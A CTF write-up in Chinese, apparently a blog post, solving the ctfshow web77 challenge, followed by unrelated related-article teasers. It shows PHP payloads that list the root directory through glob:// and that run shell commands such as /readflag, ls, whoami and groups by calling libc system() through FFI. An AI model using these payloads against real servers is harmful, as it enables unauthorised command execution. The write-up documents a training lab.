[ctfshow web入门] web77
信息收集
上一题的读取flag方式不能用了,使用后的回显是:could not find driver
解题
同样的查目录方法
c=var_export(scandir("glob:///*"));die();
c=foreach(new DirectoryIterator("glob:///*") as $a){echo($a->__toString().' ');
}
ob_flush();
c=if ( $a = opendir("glob:///*") ) {while ( ($file = readdir($a)) !== false ) {echo $file."<br>";}closedir($a);exit();
}
读取flag
关于FFI的博客:PHP7.4 FFI 扩展安全问题
我只说FFI:cdef的一些结论:
php7.4才有
第二个参数可以缺省,缺省时大多情况下也能找到对应函数,有点类似于C的GetProcAddress
这个被调用的C函数由于没有写权限,前端没有回显
public static FFI::cdef(string $code = "", ?string $lib = null): FFI
最终答案
c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('/readflag > 2.txt');die();
其中readflag是可执行文件,不是flag,所以执行/readflag后将结果输出到2.txt,就能拿到flag
由于没有目录穿透的手段了,只能复制到当前目录进行读取,可以使用include
或是readgzfile
啥的,都不影响
尝试过程
c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('cp /flag36x.txt > 1.txt');
$ffi->system('cp /readflag 2.txt');die();
1.txt没有内容,2.txt是个ELF文件,开头有个ELF字样,就像windows可执行文件PE文件开头有MZ字样,图片文件开头也有PNG等能标识文件格式的字样。
这是一段伪C代码,因为这是从硬编码翻译过来的,与原来的C代码可能有所出入
使用uid设置为管理员权限
puts输出一段字符串
执行system(“cat /flag36x.txt”),这和php中的代码效果相同
猜测/flag36x.txt只有管理员能读
执行下面命令查看文件属性
c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('ls / -al > ls.txt');exit();
关于权限,看博客:Linux:文件权限详解及修改方法
看权限分类即可
c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('whoami > who.txt');exit();
打开who.txt得到我们是www-data
c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('groups www-data > groups.txt');exit();
groups.txt得到www-data : www-data,显然我们不属于管理员用户组
而flag36x.txt的权限是拥有者可读和所属用户组可读,我们不满足,无法读取
如果尝试复制这个文件就会提示如下错误
cp: missing destination file operand after '/flag36x.txt'
Try 'cp --help' for more information.
下一章就是web118
web76 目录 web118
相关文章:

[ctfshow web入门] web77
信息收集 上一题的读取flag方式不能用了,使用后的回显是:could not find driver 解题 同样的查目录方法 cvar_export(scandir("glob:///*"));die();cforeach(new DirectoryIterator("glob:///*") as $a){echo($a->__toString…...

C++学习-入门到精通-【7】类的深入剖析
C学习-入门到精通-【7】类的深入剖析 类的深入剖析 C学习-入门到精通-【7】类的深入剖析一、Time类的实例研究二、组成和继承三、类的作用域和类成员的访问类作用域和块作用域圆点成员选择运算符(.)和箭头成员选择运算符(->)访问函数和工具函数 四、具有默认实参的构造函数重…...
API 加速方案:如何使用 Redis 与 Memcached 进行高效缓存优化
API 加速方案:如何使用 Redis 与 Memcached 进行高效缓存优化 1. 引言 在现代 Web 开发中,API 响应速度至关重要。用户期望实时访问数据,而后端服务可能受到数据库查询、计算开销或网络传输的限制。这时候,缓存技术可以有效减少 API 延迟,提升系统性能。 本篇文章将深入…...

主成分分析的应用之sklearn.decomposition模块的PCA函数
主成分分析的应用之sklearn.decomposition模块的PCA函数 一、模型建立整体步骤 二、数据 2297.86 589.62 474.74 164.19 290.91 626.21 295.20 199.03 2262.19 571.69 461.25 185.90 337.83 604.78 354.66 198.96 2303.29 589.99 516.21 236.55 403.92 730.05 438.41 225.80 …...

1. Go 语言环境安装
👑 博主简介:高级开发工程师 👣 出没地点:北京 💊 人生目标:自由 ——————————————————————————————————————————— 版权声明:本文为原创文章…...

IP协议深度解析:互联网世界的核心基石
作为互联网通信的基础协议,IP(Internet Protocol)承载着全球99%的网络数据流量。本文将深入剖析IP协议的核心特性、工作原理及演进历程,通过技术原理、协议对比和实战案例分析,为您揭示这个数字世界"隐形交通规则…...

Oracle DBMS_STATS.GATHER_DATABASE_STATS 默认行为
Oracle DBMS_STATS.GATHER_DATABASE_STATS 默认行为 DBMS_STATS.GATHER_DATABASE_STATS的默认选项究竟是’GATHER’还是’GATHER AUTO’?这个问题非常重要,因为理解默认行为直接影响统计信息收集策略。 一 官方文档确认 根据Oracle 19c官方文档&#…...

C++天空之城的树 全国信息素养大赛复赛决赛 C++小学/初中组 算法创意实践挑战赛 内部集训模拟题详细解析
C++天空之城的树 全国青少年信息素养大赛 C++复赛/决赛模拟练习题 博主推荐 所有考级比赛学习相关资料合集【推荐收藏】1、C++专栏 电子学会C++一级历年真题解析...
HTTP 请求走私(HTTP Request Smuggling)
HTTP 请求走私(HTTP Request Smuggling)是一种通过利用前端代理(如负载均衡器、CDN)和后端服务器在 解析 HTTP 请求时存在不一致性 的漏洞,从而实现 注入恶意请求 的攻击技术。 一、基本原理 HTTP 请求走私主要依赖两…...
基于WebRTC的实时语音对话系统:从语音识别到AI回复
基于WebRTC的实时语音对话系统:从语音识别到AI回复 在当今数字化时代,实时语音交互已成为人机界面的重要组成部分。本文将深入探讨一个基于WebRTC技术的实时语音对话系统,该系统集成了语音识别(ASR)、大语言模型(LLM)和语音合成(TTS)技术&am…...
typeof运算符和深拷贝
typeof运算符 识别所有值类型识别函数判断是否是引用类型(不可再细分) //判断所有值类型 let a; typeof a //undefined const strabc; typeof str //string const n100; typeof n //number const …...
.Net HttpClient 使用 Cookie
在 HttpClient 中使用 Cookie Cookie 是服务器存储在客户端的小型数据片段,可用于身份验证、会话跟踪等。 .Net HttpClient 支持 Cookie 功能,本教程详细介绍了Cookie 的管理与使用。 初始化 #!import "./Ini.ipynb"什么是 Cookie Cookie …...
Python爬虫实战:通过PyExecJS库实现逆向解密
1. 核心定义 1.1 PyExecJS 库 PyExecJS 是 Python 的第三方库,通过调用 JavaScript 运行时环境(如 Node.js、PhantomJS),实现 Python 与 JavaScript 的无缝交互。其核心功能包括: JavaScript 代码编译与执行跨语言函数调用与数据传递多引擎支持与自动环境检测1.2 字段加…...
Java中的伪共享(False Sharing):隐藏的性能杀手与高并发优化实战
引言 在高性能Java应用中,开发者通常会关注锁竞争、GC频率等显性问题,但一个更隐蔽的陷阱——伪共享(False Sharing)——却可能让精心设计的并发代码性能骤降50%以上。伪共享是由CPU缓存架构引发的底层问题,常见于多…...

GO语言语法---switch语句
文章目录 基本语法1. 特点1.1 不需要break1.2 表达式可以是任何类型1.3 省略比较表达式1.4 多值匹配1.5 类型switch1.6 case穿透1.7 switch后直接声明变量1.7.1 基本语法1.7.2 带比较表达式1.7.3 不带比较表达式1.7.4 结合类型判断 1.8 switch后的表达式必须与case语句中的表达…...

开疆智能Profient转ModbusTCP网关连接ABB机器人MODBUS TCP通讯案例
本案例是通过开疆智能Profinet转ModbusTCP网关将西门子PLC与ABB机器人进行通讯 因西门子PLC采用Profinet协议,而ABB机器人采用的是ModbusTCP通讯。故采取此种方案。 配置过程: 1.MODBUS/TCP基于以太网,故ABB机器人在使用时需要有616-1PCIN…...

解决qt.network.ssl: QSslSocket::connectToHostEncrypted: TLS initialization failed
可以参考:解决qt.network.ssl: QSslSocket::connectToHostEncrypted: TLS initialization failed-CSDN博客 讲的是程序执行目录下可能缺少了: libssl-1_1-x64.dll 和 libcrypto-1_1-x64.dll 库文件,将其复制到可执行文件exe的同级目录下即可…...
【洛谷P3386】二分图最大匹配之Kuhn算法/匈牙利算法:直观理解
题目:洛谷P3386 【模板】二分图最大匹配 🥕 匈牙利算法本来是针对带权图最大匹配的,这里由于题目只是求最大匹配的边数,所以我们也只考虑无权的情况。 🚀 本文旨在服务于看了别的关于匈牙利算法的文章但不甚理解的童…...

Text2SQL:自助式数据报表开发---0517
Text2SQL技术 早期阶段:依赖于人工编写的规则模板来匹配自然语言和SQL语句之间的对应关系 机器学习阶段:采用序列到序列模型等机器学习方法来学习自然语言与SQL之间的关系 LLM阶段:借助LLM强大的语言理解和代码生成能力,利用提示…...

使用Visual Studio将C#程序发布为.exe文件
说明 .exe 是可执行文件(Executable File)的扩展名。这类文件包含计算机可以直接运行的机器代码指令,通常由编程语言(如 C、C、C#、Python 等)编译或打包生成。可以用于执行自动化操作(执行脚本或批处理操…...
写spark程序数据计算( 数据库的计算,求和,汇总之类的)连接mysql数据库,写入计算结果
1. 添加依赖 在项目的 pom.xml(Maven)中添加以下依赖: xml <!-- Spark SQL --> <dependency> <groupId>org.apache.spark</groupId> <artifactId>spark-sql_2.12</artifactId> <version>3.3.0…...

React Flow 边的基础知识与示例:从基本属性到代码实例详解
本文为《React Agent:从零开始构建 AI 智能体》专栏系列文章。 专栏地址:https://blog.csdn.net/suiyingy/category_12933485.html。项目地址:https://gitee.com/fgai/react-agent(含完整代码示例与实战源)。完整介绍…...

oracle 资源管理器的使用
14.8.2资源管理器的使用 资源管理器控制CPU资源使用说明: 第一种分配方法:EMPHASIS CPU 分配方法确定在资源计划中对不同使用者组中的会话的重视程度。CPU占用率的分配级别为从1 到8,级别1 的优先级最高。百分比指定如何将CPU 资源分配给每…...
新手入门系列-linux系统下安装和使用docker
新手入门系列一 virtualbox+vagrant创建linux虚拟机 新手入门系列二 linux系统下安装和使用docker 前言 前面一章节我们安装了unbuntu虚拟机,这一节我们在虚拟机上安装和使用docker。 Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的…...
mysql中4种扫描方式和聚簇索引非聚簇索引【爽文一篇】
目录 一 mysql的聚簇索引&非聚簇索引 1.1 数据表 1.2 聚簇索引 1.3 非聚簇索引 1.4 覆盖索引 二 mysql的4种扫描查询 2.1 全表扫描 2.2 索引扫描 2.3 覆盖索引扫描 2.4 回表扫描 2.5 总结 三 mysql的回表查询详解 3.1 回表查询 一 mysql的聚簇索引&非聚簇…...

贝叶斯优化Transformer融合支持向量机多变量回归预测,附相关性气泡图、散点密度图,Matlab实现
贝叶斯优化Transformer融合支持向量机多变量回归预测,附相关性气泡图、散点密度图,Matlab实现 目录 贝叶斯优化Transformer融合支持向量机多变量回归预测,附相关性气泡图、散点密度图,Matlab实现效果一览基本介绍程序设计参考资料…...
水平可见直线--上凸包(andrew算法
P3194 [HNOI2008] 水平可见直线 - 洛谷 不过只有90% #include<bits/stdc.h> using namespace std; #define N 100011 typedef long long ll; typedef pair<ll,int> pii; int n; struct no {double k,b;int id; }a[N],an[N]; int k; bool cmp(no a,no b) {if(a.k…...
【mysql】并发 Insert 的死锁问题 第二弹
上次死锁的场景还历历在目(【mysql】并发 Insert 的死锁问题:Deadlock found when trying to get lock; try restarting transaction_1213 - deadlock found when trying to get lock; try-CSDN博客),这次又把代码写死…...

Docker配置SRS服务器 ,ffmpeg使用rtmp协议推流+vlc拉流
目录 演示视频 前期配置 Docker配置 ffmpeg配置 vlc配置 下载并运行 SRS 服务 推拉流流程实现 演示视频 2025-05-18 21-48-01 前期配置 Docker配置 运行 SRS 建议使用 Docker 配置 Docker 请移步: 一篇就够!Windows上Docker Desktop安装 汉化完整指…...

一个stm32工程从底层上都需要由哪些文件构成
原文链接:https://kashima19960.github.io/2025/05/17/stm32/一个stm32工程从底层上都需要由哪些文件构成/ 前言 我最近因为做课设要用到stm32,所以去找了一些开源的stm32工程来看看,然后发现现在新版的keil mdk对于环境的配置跟以前 相比发…...